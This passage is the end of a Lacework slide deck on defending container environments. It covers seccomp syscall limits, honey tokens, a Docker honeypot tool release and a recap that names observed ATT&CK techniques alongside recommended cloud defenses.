    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Exploring Runtime Protection Options ● Profile and limit syscalls you application makes! ○ Runtime syscall allow-listing via seccomp ● Can be tricky to tune, but greatly reduces surface in the event of an application compromise. Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/ 23
  • 24.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Honey Tokens in Cloud Native Environments ● What about non-opportunistic attackers? ○ Targeting resource specific services ○ Ex: Managed DBs, Container Registries, etc… ● Proactive Defenses via “honey tokens” around specific cloud native resources ○ Ex: Container Registry with beta-database-secrets- test Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws 24
  • 25.
    Docker Honeypot -Whalehoney https://www.github.com/lacework-dev/whalehoney-PUBLIC Tool Release! Whalehoney, simple API emulation
  • 26.
    © 2022, Lacework Inc. All Rights Reserved. 26 Recap Observed ATT&CKs T1610/T1611- Deploy containers and escape to host. T1059.004 - Post-compromise payloads (Shell Script) T1562.001 - Impairing Defenses T1098.004 - Deploying ssh keys for persistence T1574.006/T10014 - LD_Preload/KOs for hijacking execution flow Defending In the Cloud Limit attack surface exposure (ingress/egress ACLs) Enforce signed container image deployments Implement Security Policies to API call Possibilities OPA for security policy enforcement of Kubernetes Proactive Defense via Honey Tokens
  • 27.
    Thank you. IF YOUHAVE QUESTIONS, PLEASE GET IN TOUCH WITH laceworklabs@lacework.com © 2022, Lacework Inc. All Rights Reserved.